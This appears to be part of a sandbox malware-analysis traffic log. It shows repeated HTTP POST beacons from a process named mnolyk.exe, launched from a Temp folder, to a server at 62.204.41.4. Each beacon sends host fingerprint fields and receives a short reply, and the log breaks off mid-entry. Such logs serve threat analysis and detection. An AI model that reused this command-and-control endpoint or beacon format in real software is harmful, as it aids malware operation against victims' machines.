Feb 7, 2023 23:08:25.143611908 CET	422	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
308	192.168.2.7	50003	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:25.325124979 CET	423	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:25.388860941 CET	423	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
309	192.168.2.7	50004	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:25.569822073 CET	424	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:25.633472919 CET	424	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.7	49725	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:09.061494112 CET	135	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:09.126104116 CET	135	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
310	192.168.2.7	50005	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:25.803186893 CET	425	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:25.864747047 CET	425	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
311	192.168.2.7	50006	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:26.061961889 CET	426	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:26.126768112 CET	426	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
312	192.168.2.7	50007	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:26.308602095 CET	427	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:26.372323036 CET	427	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
313	192.168.2.7	50008	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:26.555660009 CET	428	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:26.619647980 CET	428	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
314	192.168.2.7	50009	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:26.787936926 CET	429	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:26.851175070 CET	429	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
315	192.168.2.7	50010	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:27.035129070 CET	430	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:27.101217031 CET	430	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
316	192.168.2.7	50011	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:27.300770044 CET	431	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:27.364865065 CET	431	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
317	192.168.2.7	50012	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:27.539545059 CET	432	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:27.603720903 CET	432	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
318	192.168.2.7	50013	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:27.775981903 CET	433	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:27.839906931 CET	433	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
319	192.168.2.7	50014	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:28.008248091 CET	434	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:28.073843002 CET	434	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.7	49726	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:09.303742886 CET	136	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:09.365572929 CET	136	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
320	192.168.2.7	50015	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:28.258645058 CET	435	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:28.321769953 CET	435	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
321	192.168.2.7	50016	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:28.501580000 CET	436	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:28.563205957 CET	436	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
322	192.168.2.7	50017	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:28.743484974 CET	437	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:28.806921005 CET	437	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
323	192.168.2.7	50018	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:28.986006975 CET	438	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:29.053009033 CET	438	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
324	192.168.2.7	50019	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:29.231062889 CET	439	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:29.294914961 CET	439	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
325	192.168.2.7	50020	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:29.489589930 CET	440	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:29.554568052 CET	440	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
326	192.168.2.7	50021	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:29.768912077 CET	441	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:29.833816051 CET	441	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
327	192.168.2.7	50022	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
